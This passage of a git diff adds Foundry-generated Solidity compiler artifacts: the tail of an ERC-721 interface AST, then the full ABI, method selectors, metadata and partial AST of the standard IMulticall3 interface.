0x5b5e139f."},"fullyImplemented":false,"linearizedBaseContracts":[32125,32085,31873],"name":"IERC721Metadata","nameLocation":"7007:15:18","scope":32154,"usedErrors":[],"usedEvents":[31984,31993,32002]},{"id":32153,"nodeType":"ContractDefinition","src":"7856:1169:18","nodes":[{"id":32134,"nodeType":"FunctionDefinition","src":"8114:55:18","nodes":[],"documentation":{"id":32129,"nodeType":"StructuredDocumentation","src":"7901:208:18","text":"@notice Count NFTs tracked by this contract\n @return A count of valid NFTs tracked by this contract, where each one of\n them has an assigned and queryable owner not equal to the zero address"},"functionSelector":"18160ddd","implemented":false,"kind":"function","modifiers":[],"name":"totalSupply","nameLocation":"8123:11:18","parameters":{"id":32130,"nodeType":"ParameterList","parameters":[],"src":"8134:2:18"},"returnParameters":{"id":32133,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32132,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32134,"src":"8160:7:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32131,"name":"uint256","nodeType":"ElementaryTypeName","src":"8160:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8159:9:18"},"scope":32153,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32142,"nodeType":"FunctionDefinition","src":"8418:70:18","nodes":[],"documentation":{"id":32135,"nodeType":"StructuredDocumentation","src":"8175:238:18","text":"@notice Enumerate valid NFTs\n @dev Throws if `_index` >= `totalSupply()`.\n @param _index A counter less than `totalSupply()`\n @return The token identifier for the `_index`th NFT,\n (sort order not specified)"},"functionSelector":"4f6ccce7","implemented":false,"kind":"function","modifiers":[],"name":"tokenByIndex","nameLocation":"8427:12:18","parameters":{"id":32138,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32137,"mutability":"mutable","name":"_index","nameLocation":"8448:6:18","nodeType":"VariableDeclaration","scope":32142,"src":"8440:14:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32136,"name":"uint256","nodeType":"ElementaryTypeName","src":"8440:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8439:16:18"},"returnParameters":{"id":32141,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32140,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32142,"src":"8479:7:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32139,"name":"uint256","nodeType":"ElementaryTypeName","src":"8479:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8478:9:18"},"scope":32153,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32152,"nodeType":"FunctionDefinition","src":"8930:93:18","nodes":[],"documentation":{"id":32143,"nodeType":"StructuredDocumentation","src":"8494:431:18","text":"@notice Enumerate NFTs assigned to an owner\n @dev Throws if `_index` >= `balanceOf(_owner)` or if\n `_owner` is the zero address, representing invalid NFTs.\n @param _owner An address where we are interested in NFTs owned by them\n @param _index A counter less than `balanceOf(_owner)`\n @return The token identifier for the `_index`th NFT assigned to `_owner`,\n (sort order not specified)"},"functionSelector":"2f745c59","implemented":false,"kind":"function","modifiers":[],"name":"tokenOfOwnerByIndex","nameLocation":"8939:19:18","parameters":{"id":32148,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32145,"mutability":"mutable","name":"_owner","nameLocation":"8967:6:18","nodeType":"VariableDeclaration","scope":32152,"src":"8959:14:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32144,"name":"address","nodeType":"ElementaryTypeName","src":"8959:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32147,"mutability":"mutable","name":"_index","nameLocation":"8983:6:18","nodeType":"VariableDeclaration","scope":32152,"src":"8975:14:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32146,"name":"uint256","nodeType":"ElementaryTypeName","src":"8975:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8958:32:18"},"returnParameters":{"id":32151,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32150,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32152,"src":"9014:7:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32149,"name":"uint256","nodeType":"ElementaryTypeName","src":"9014:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"9013:9:18"},"scope":32153,"stateMutability":"view","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[{"baseName":{"id":32127,"name":"IERC721","nameLocations":["7887:7:18"],"nodeType":"IdentifierPath","referencedDeclaration":32085,"src":"7887:7:18"},"id":32128,"nodeType":"InheritanceSpecifier","src":"7887:7:18"}],"canonicalName":"IERC721Enumerable","contractDependencies":[],"contractKind":"interface","documentation":{"id":32126,"nodeType":"StructuredDocumentation","src":"7658:198:18","text":"@title ERC-721 Non-Fungible Token Standard, optional enumeration extension\n @dev See https://eips.ethereum.org/EIPS/eip-721\n Note: the ERC-165 identifier for this interface is 0x780e9d63."},"fullyImplemented":false,"linearizedBaseContracts":[32153,32085,31873],"name":"IERC721Enumerable","nameLocation":"7866:17:18","scope":32154,"usedErrors":[],"usedEvents":[31984,31993,32002]}],"license":"MIT"},"id":18} \ No newline at end of file diff --git a/contracts/out/IMulticall3.sol/IMulticall3.json b/contracts/out/IMulticall3.sol/IMulticall3.json new file mode 100644 index 000000000..03ba8dc6e --- /dev/null +++ b/contracts/out/IMulticall3.sol/IMulticall3.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"aggregate","inputs":[{"name":"calls","type":"tuple[]","internalType":"struct IMulticall3.Call[]","components":[{"name":"target","type":"address","internalType":"address"},{"name":"callData","type":"bytes","internalType":"bytes"}]}],"outputs":[{"name":"blockNumber","type":"uint256","internalType":"uint256"},{"name":"returnData","type":"bytes[]","internalType":"bytes[]"}],"stateMutability":"payable"},{"type":"function","name":"aggregate3","inputs":[{"name":"calls","type":"tuple[]","internalType":"struct IMulticall3.Call3[]","components":[{"name":"target","type":"address","internalType":"address"},{"name":"allowFailure","type":"bool","internalType":"bool"},{"name":"callData","type":"bytes","internalType":"bytes"}]}],"outputs":[{"name":"returnData","type":"tuple[]","internalType":"struct IMulticall3.Result[]","components":[{"name":"success","type":"bool","internalType":"bool"},{"name":"returnData","type":"bytes","internalType":"bytes"}]}],"stateMutability":"payable"},{"type":"function","name":"aggregate3Value","inputs":[{"name":"calls","type":"tuple[]","internalType":"struct IMulticall3.Call3Value[]","components":[{"name":"target","type":"address","internalType":"address"},{"name":"allowFailure","type":"bool","internalType":"bool"},{"name":"value","type":"uint256","internalType":"uint256"},{"name":"callData","type":"bytes","internalType":"bytes"}]}],"outputs":[{"name":"returnData","type":"tuple[]","internalType":"struct IMulticall3.Result[]","components":[{"name":"success","type":"bool","internalType":"bool"},{"name":"returnData","type":"bytes","internalType":"bytes"}]}],"stateMutability":"payable"},{"type":"function","name":"blockAndAggregate","inputs":[{"name":"calls","type":"tuple[]","internalType":"struct IMulticall3.Call[]","components":[{"name":"target","type":"address","internalType":"address"},{"name":"callData","type":"bytes","internalType":"bytes"}]}],"outputs":[{"name":"blockNumber","type":"uint256","internalType":"uint256"},{"name":"blockHash","type":"bytes32","internalType":"bytes32"},{"name":"returnData","type":"tuple[]","internalType":"struct IMulticall3.Result[]","components":[{"name":"success","type":"bool","internalType":"bool"},{"name":"returnData","type":"bytes","internalType":"bytes"}]}],"stateMutability":"payable"},{"type":"function","name":"getBasefee","inputs":[],"outputs":[{"name":"basefee","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getBlockHash","inputs":[{"name":"blockNumber","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"blockHash","type":"bytes32","internalType":"bytes32"}],"stateMutability":"view"},{"type":"function","name":"getBlockNumber","inputs":[],"outputs":[{"name":"blockNumber","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getChainId","inputs":[],"outputs":[{"name":"chainid","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getCurrentBlockCoinbase","inputs":[],"outputs":[{"name":"coinbase","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"getCurrentBlockDifficulty","inputs":[],"outputs":[{"name":"difficulty","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getCurrentBlockGasLimit","inputs":[],"outputs":[{"name":"gaslimit","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getCurrentBlockTimestamp","inputs":[],"outputs":[{"name":"timestamp","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getEthBalance","inputs":[{"name":"addr","type":"address","internalType":"address"}],"outputs":[{"name":"balance","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getLastBlockHash","inputs":[],"outputs":[{"name":"blockHash","type":"bytes32","internalType":"bytes32"}],"stateMutability":"view"},{"type":"function","name":"tryAggregate","inputs":[{"name":"requireSuccess","type":"bool","internalType":"bool"},{"name":"calls","type":"tuple[]","internalType":"struct IMulticall3.Call[]","components":[{"name":"target","type":"address","internalType":"address"},{"name":"callData","type":"bytes","internalType":"bytes"}]}],"outputs":[{"name":"returnData","type":"tuple[]","internalType":"struct IMulticall3.Result[]","components":[{"name":"success","type":"bool","internalType":"bool"},{"name":"returnData","type":"bytes","internalType":"bytes"}]}],"stateMutability":"payable"},{"type":"function","name":"tryBlockAndAggregate","inputs":[{"name":"requireSuccess","type":"bool","internalType":"bool"},{"name":"calls","type":"tuple[]","internalType":"struct IMulticall3.Call[]","components":[{"name":"target","type":"address","internalType":"address"},{"name":"callData","type":"bytes","internalType":"bytes"}]}],"outputs":[{"name":"blockNumber","type":"uint256","internalType":"uint256"},{"name":"blockHash","type":"bytes32","internalType":"bytes32"},{"name":"returnData","type":"tuple[]","internalType":"struct IMulticall3.Result[]","components":[{"name":"success","type":"bool","internalType":"bool"},{"name":"returnData","type":"bytes","internalType":"bytes"}]}],"stateMutability":"payable"}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"aggregate((address,bytes)[])":"252dba42","aggregate3((address,bool,bytes)[])":"82ad56cb","aggregate3Value((address,bool,uint256,bytes)[])":"174dea71","blockAndAggregate((address,bytes)[])":"c3077fa9","getBasefee()":"3e64a696","getBlockHash(uint256)":"ee82ac5e","getBlockNumber()":"42cbb15c","getChainId()":"3408e470","getCurrentBlockCoinbase()":"a8b0574e","getCurrentBlockDifficulty()":"72425d9d","getCurrentBlockGasLimit()":"86d516e8","getCurrentBlockTimestamp()":"0f28c97d","getEthBalance(address)":"4d2301cc","getLastBlockHash()":"27e86d6e","tryAggregate(bool,(address,bytes)[])":"bce38bd7","tryBlockAndAggregate(bool,(address,bytes)[])":"399542e9"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"target\",\"type\":\"address\"},{\"internalType\":\"bytes\",\"name\":\"callData\",\"type\":\"bytes\"}],\"internalType\":\"struct IMulticall3.Call[]\",\"name\":\"calls\",\"type\":\"tuple[]\"}],\"name\":\"aggregate\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"blockNumber\",\"type\":\"uint256\"},{\"internalType\":\"bytes[]\",\"name\":\"returnData\",\"type\":\"bytes[]\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"target\",\"type\":\"address\"},{\"internalType\":\"bool\",\"name\":\"allowFailure\",\"type\":\"bool\"},{\"internalType\":\"bytes\",\"name\":\"callData\",\"type\":\"bytes\"}],\"internalType\":\"struct IMulticall3.Call3[]\",\"name\":\"calls\",\"type\":\"tuple[]\"}],\"name\":\"aggregate3\",\"outputs\":[{\"components\":[{\"internalType\":\"bool\",\"name\":\"success\",\"type\":\"bool\"},{\"internalType\":\"bytes\",\"name\":\"returnData\",\"type\":\"bytes\"}],\"internalType\":\"struct IMulticall3.Result[]\",\"name\":\"returnData\",\"type\":\"tuple[]\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"target\",\"type\":\"address\"},{\"internalType\":\"bool\",\"name\":\"allowFailure\",\"type\":\"bool\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"},{\"internalType\":\"bytes\",\"name\":\"callData\",\"type\":\"bytes\"}],\"internalType\":\"struct IMulticall3.Call3Value[]\",\"name\":\"calls\",\"type\":\"tuple[]\"}],\"name\":\"aggregate3Value\",\"outputs\":[{\"components\":[{\"internalType\":\"bool\",\"name\":\"success\",\"type\":\"bool\"},{\"internalType\":\"bytes\",\"name\":\"returnData\",\"type\":\"bytes\"}],\"internalType\":\"struct IMulticall3.Result[]\",\"name\":\"returnData\",\"type\":\"tuple[]\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"target\",\"type\":\"address\"},{\"internalType\":\"bytes\",\"name\":\"callData\",\"type\":\"bytes\"}],\"internalType\":\"struct IMulticall3.Call[]\",\"name\":\"calls\",\"type\":\"tuple[]\"}],\"name\":\"blockAndAggregate\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"blockNumber\",\"type\":\"uint256\"},{\"internalType\":\"bytes32\",\"name\":\"blockHash\",\"type\":\"bytes32\"},{\"components\":[{\"internalType\":\"bool\",\"name\":\"success\",\"type\":\"bool\"},{\"internalType\":\"bytes\",\"name\":\"returnData\",\"type\":\"bytes\"}],\"internalType\":\"struct IMulticall3.Result[]\",\"name\":\"returnData\",\"type\":\"tuple[]\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getBasefee\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"basefee\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"blockNumber\",\"type\":\"uint256\"}],\"name\":\"getBlockHash\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"blockHash\",\"type\":\"bytes32\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getBlockNumber\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"blockNumber\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getChainId\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"chainid\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getCurrentBlockCoinbase\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"coinbase\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getCurrentBlockDifficulty\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"difficulty\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getCurrentBlockGasLimit\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"gaslimit\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getCurrentBlockTimestamp\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"timestamp\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"name\":\"getEthBalance\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"balance\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getLastBlockHash\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"blockHash\",\"type\":\"bytes32\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bool\",\"name\":\"requireSuccess\",\"type\":\"bool\"},{\"components\":[{\"internalType\":\"address\",\"name\":\"target\",\"type\":\"address\"},{\"internalType\":\"bytes\",\"name\":\"callData\",\"type\":\"bytes\"}],\"internalType\":\"struct IMulticall3.Call[]\",\"name\":\"calls\",\"type\":\"tuple[]\"}],\"name\":\"tryAggregate\",\"outputs\":[{\"components\":[{\"internalType\":\"bool\",\"name\":\"success\",\"type\":\"bool\"},{\"internalType\":\"bytes\",\"name\":\"returnData\",\"type\":\"bytes\"}],\"internalType\":\"struct IMulticall3.Result[]\",\"name\":\"returnData\",\"type\":\"tuple[]\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bool\",\"name\":\"requireSuccess\",\"type\":\"bool\"},{\"components\":[{\"internalType\":\"address\",\"name\":\"target\",\"type\":\"address\"},{\"internalType\":\"bytes\",\"name\":\"callData\",\"type\":\"bytes\"}],\"internalType\":\"struct IMulticall3.Call[]\",\"name\":\"calls\",\"type\":\"tuple[]\"}],\"name\":\"tryBlockAndAggregate\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"blockNumber\",\"type\":\"uint256\"},{\"internalType\":\"bytes32\",\"name\":\"blockHash\",\"type\":\"bytes32\"},{\"components\":[{\"internalType\":\"bool\",\"name\":\"success\",\"type\":\"bool\"},{\"internalType\":\"bytes\",\"name\":\"returnData\",\"type\":\"bytes\"}],\"internalType\":\"struct IMulticall3.Result[]\",\"name\":\"returnData\",\"type\":\"tuple[]\"}],\"stateMutability\":\"payable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/interfaces/IMulticall3.sol\":\"IMulticall3\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"struct IMulticall3.Call[]","name":"calls","type":"tuple[]","components":[{"internalType":"address","name":"target","type":"address"},{"internalType":"bytes","name":"callData","type":"bytes"}]}],"stateMutability":"payable","type":"function","name":"aggregate","outputs":[{"internalType":"uint256","name":"blockNumber","type":"uint256"},{"internalType":"bytes[]","name":"returnData","type":"bytes[]"}]},{"inputs":[{"internalType":"struct IMulticall3.Call3[]","name":"calls","type":"tuple[]","components":[{"internalType":"address","name":"target","type":"address"},{"internalType":"bool","name":"allowFailure","type":"bool"},{"internalType":"bytes","name":"callData","type":"bytes"}]}],"stateMutability":"payable","type":"function","name":"aggregate3","outputs":[{"internalType":"struct IMulticall3.Result[]","name":"returnData","type":"tuple[]","components":[{"internalType":"bool","name":"success","type":"bool"},{"internalType":"bytes","name":"returnData","type":"bytes"}]}]},{"inputs":[{"internalType":"struct IMulticall3.Call3Value[]","name":"calls","type":"tuple[]","components":[{"internalType":"address","name":"target","type":"address"},{"internalType":"bool","name":"allowFailure","type":"bool"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"bytes","name":"callData","type":"bytes"}]}],"stateMutability":"payable","type":"function","name":"aggregate3Value","outputs":[{"internalType":"struct IMulticall3.Result[]","name":"returnData","type":"tuple[]","components":[{"internalType":"bool","name":"success","type":"bool"},{"internalType":"bytes","name":"returnData","type":"bytes"}]}]},{"inputs":[{"internalType":"struct IMulticall3.Call[]","name":"calls","type":"tuple[]","components":[{"internalType":"address","name":"target","type":"address"},{"internalType":"bytes","name":"callData","type":"bytes"}]}],"stateMutability":"payable","type":"function","name":"blockAndAggregate","outputs":[{"internalType":"uint256","name":"blockNumber","type":"uint256"},{"internalType":"bytes32","name":"blockHash","type":"bytes32"},{"internalType":"struct IMulticall3.Result[]","name":"returnData","type":"tuple[]","components":[{"internalType":"bool","name":"success","type":"bool"},{"internalType":"bytes","name":"returnData","type":"bytes"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"getBasefee","outputs":[{"internalType":"uint256","name":"basefee","type":"uint256"}]},{"inputs":[{"internalType":"uint256","name":"blockNumber","type":"uint256"}],"stateMutability":"view","type":"function","name":"getBlockHash","outputs":[{"internalType":"bytes32","name":"blockHash","type":"bytes32"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"getBlockNumber","outputs":[{"internalType":"uint256","name":"blockNumber","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"getChainId","outputs":[{"internalType":"uint256","name":"chainid","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"getCurrentBlockCoinbase","outputs":[{"internalType":"address","name":"coinbase","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"getCurrentBlockDifficulty","outputs":[{"internalType":"uint256","name":"difficulty","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"getCurrentBlockGasLimit","outputs":[{"internalType":"uint256","name":"gaslimit","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"getCurrentBlockTimestamp","outputs":[{"internalType":"uint256","name":"timestamp","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"stateMutability":"view","type":"function","name":"getEthBalance","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"getLastBlockHash","outputs":[{"internalType":"bytes32","name":"blockHash","type":"bytes32"}]},{"inputs":[{"internalType":"bool","name":"requireSuccess","type":"bool"},{"internalType":"struct IMulticall3.Call[]","name":"calls","type":"tuple[]","components":[{"internalType":"address","name":"target","type":"address"},{"internalType":"bytes","name":"callData","type":"bytes"}]}],"stateMutability":"payable","type":"function","name":"tryAggregate","outputs":[{"internalType":"struct IMulticall3.Result[]","name":"returnData","type":"tuple[]","components":[{"internalType":"bool","name":"success","type":"bool"},{"internalType":"bytes","name":"returnData","type":"bytes"}]}]},{"inputs":[{"internalType":"bool","name":"requireSuccess","type":"bool"},{"internalType":"struct IMulticall3.Call[]","name":"calls","type":"tuple[]","components":[{"internalType":"address","name":"target","type":"address"},{"internalType":"bytes","name":"callData","type":"bytes"}]}],"stateMutability":"payable","type":"function","name":"tryBlockAndAggregate","outputs":[{"internalType":"uint256","name":"blockNumber","type":"uint256"},{"internalType":"bytes32","name":"blockHash","type":"bytes32"},{"internalType":"struct IMulticall3.Result[]","name":"returnData","type":"tuple[]","components":[{"internalType":"bool","name":"success","type":"bool"},{"internalType":"bytes","name":"returnData","type":"bytes"}]}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/interfaces/IMulticall3.sol":"IMulticall3"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/interfaces/IMulticall3.sol","id":32317,"exportedSymbols":{"IMulticall3":[32316]},"nodeType":"SourceUnit","src":"32:2153:19","nodes":[{"id":32155,"nodeType":"PragmaDirective","src":"32:31:19","nodes":[],"literals":["solidity",">=","0.6",".2","<","0.9",".0"]},{"id":32156,"nodeType":"PragmaDirective","src":"65:33:19","nodes":[],"literals":["experimental","ABIEncoderV2"]},{"id":32316,"nodeType":"ContractDefinition","src":"100:2084:19","nodes":[{"id":32161,"nodeType":"StructDefinition","src":"128:67:19","nodes":[],"canonicalName":"IMulticall3.Call","members":[{"constant":false,"id":32158,"mutability":"mutable","name":"target","nameLocation":"158:6:19","nodeType":"VariableDeclaration","scope":32161,"src":"150:14:19","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32157,"name":"address","nodeType":"ElementaryTypeName","src":"150:7:19","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32160,"mutability":"mutable","name":"callData","nameLocation":"180:8:19","nodeType":"VariableDeclaration","scope":32161,"src":"174:14:19","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":32159,"name":"bytes","nodeType":"ElementaryTypeName","src":"174:5:19","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"name":"Call","nameLocation":"135:4:19","scope":32316,"visibility":"public"},{"id":32168,"nodeType":"StructDefinition","src":"201:95:19","nodes":[],"canonicalName":"IMulticall3.Call3","members":[{"constant":false,"id":32163,"mutability":"mutable","name":"target","nameLocation":"232:6:19","nodeType":"VariableDeclaration","scope":32168,"src":"224:14:19","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32162,"name":"address","nodeType":"ElementaryTypeName","src":"224:7:19","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32165,"mutability":"mutable","name":"allowFailure","nameLocation":"253:12:19","nodeType":"VariableDeclaration","scope":32168,"src":"248:17:19","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":32164,"name":"bool","nodeType":"ElementaryTypeName","src":"248:4:19","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":32167,"mutability":"mutable","name":"callData","nameLocation":"281:8:19","nodeType":"VariableDeclaration","scope":32168,"src":"275:14:19","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":32166,"name":"bytes","nodeType":"ElementaryTypeName","src":"275:5:19","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"name":"Call3","nameLocation":"208:5:19","scope":32316,"visibility":"public"},{"id":32177,"nodeType":"StructDefinition","src":"302:123:19","nodes":[],"canonicalName":"IMulticall3.Call3Value","members":[{"constant":false,"id":32170,"mutability":"mutable","name":"target","nameLocation":"338:6:19","nodeType":"VariableDeclaration","scope":32177,"src":"330:14:19","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32169,"name":"address","nodeType":"ElementaryTypeName","src":"330:7:19","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32172,"mutability":"mutable","name":"allowFailure","nameLocation":"359:12:19","nodeType":"VariableDeclaration","scope":32177,"src":"354:17:19","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":321